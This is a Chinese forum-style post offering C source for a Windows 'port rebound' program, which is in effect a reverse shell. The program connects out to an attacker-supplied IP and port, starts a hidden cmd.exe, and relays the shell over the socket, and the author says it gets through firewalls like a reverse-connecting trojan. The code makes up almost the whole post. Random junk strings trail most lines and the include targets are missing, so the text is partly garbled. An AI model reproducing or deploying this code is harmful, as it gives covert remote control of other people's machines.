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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 g]4(g<:O  
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/* ============================== |C!oxhu<  
Rebound port in Windows NT |G?htZF  
By wind,2006/7 TygW0b 1  
===============================*/ ~\Hc,5G  
#include M}yDXJx  
#include +89*)pk   
| N[<x@  
#pragma comment(lib,"wsock32.lib") NWMFtT  
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void OutputShell(); ~8GFQ ph  
SOCKET sClient; D|e uX7b  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /J=v]<87a  
;1%-8f:lW  
void main(int argc,char **argv) ]ooIr Y8  
{ Tk5W'p|6f  
WSADATA stWsaData; - `p4-J!Fy  
int nRet; ?QFpv #4  
SOCKADDR_IN stSaiClient,stSaiServer; (C@mLu)  
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if(argc != 3) K i'Fn"  
{ 5@+,Xh,H|t  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,N!o  
return; 2E}*v5b,  
} M<kj_.  
BT}!W`  
WSAStartup(MAKEWORD(2,2),&stWsaData); !,6c ~ w  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z([ v%zf  
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stSaiClient.sin_family = AF_INET; K`u(/kz/<  
stSaiClient.sin_port = htons(0); `HZ;NRr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |}(`kW  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) mP0yk|  
{ m^ tFi7c  
printf("Bind Socket Failed!\n"); y:~ZLTAv  
return; C|}iCB  
} -o $QS,  
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stSaiServer.sin_family = AF_INET; Q9Kve3u-i  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mi,E-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P<M?Qd 1.  
$W!!wN=B  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) kBD>-5Sn_T  
{ $5ak_@AC  
printf("Connect Error!"); apg=-^L'  
return; HY&aV2|A1  
} A8uVK5  
OutputShell(); M%2+y5  
} ?0v-qj+  
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void OutputShell() =a@j=  
{ x{n`^;Y1  
char szBuff[1024]; l5Gq|!2yxD  
SECURITY_ATTRIBUTES stSecurityAttributes; P<X\%_Iat  
OSVERSIONINFO stOsversionInfo; n1ly y0%u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G9xmmc  
STARTUPINFO stStartupInfo; '>cKH$nVC}  
char *szShell; 95A1:A^t  
PROCESS_INFORMATION stProcessInformation; Xq_5Qv  
unsigned long lBytesRead; YjxF}VI~<  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +a^nlW9g  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); '8!Y D?n  
stSecurityAttributes.lpSecurityDescriptor = 0; g# Sl %Y  
stSecurityAttributes.bInheritHandle = TRUE; %s|}Fz->  
5=v}W:^v.  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $~VRza 8Q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); K 1 a\b"  
lij.N) E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -likj# Z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x:),P-~w  
stStartupInfo.wShowWindow = SW_HIDE; m1B+31'>^  
stStartupInfo.hStdInput = hReadPipe; Tn*9lj4  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; pWK(z[D  
/& Jan:  
GetVersionEx(&stOsversionInfo); U+:m4a  
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switch(stOsversionInfo.dwPlatformId) nExU#/*~^  
{ Pv_Jm  
case 1: Q=AavKn#  
szShell = "command.com"; i V'k}rXC  
break; ^l9N48]|?  
default: Gft%Mq v  
szShell = "cmd.exe"; LhOa{1SY  
break; M+U9R@  
} [@J/eWB  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $c 0h. t  
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send(sClient,szMsg,77,0); ,]46I.]  
while(1) 4]?<hH9  
{ a%kQl^I4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gp>3I!bo[K  
if(lBytesRead) g)#W>.Asd  
{ (7*%K&x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ,w {e  
send(sClient,szBuff,lBytesRead,0); >, F bX8Zz  
} &dM. d!  
else 0AZ")<^~7  
{ ZCmgs4W!  
lBytesRead=recv(sClient,szBuff,1024,0); LAB=Vp1y3[  
if(lBytesRead<=0) break; ,?>s>bHV  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); X:HacYqtC  
} >/l? g5{  
} i,>khc  
hIy~B['  
return; B"h#C!E  
}
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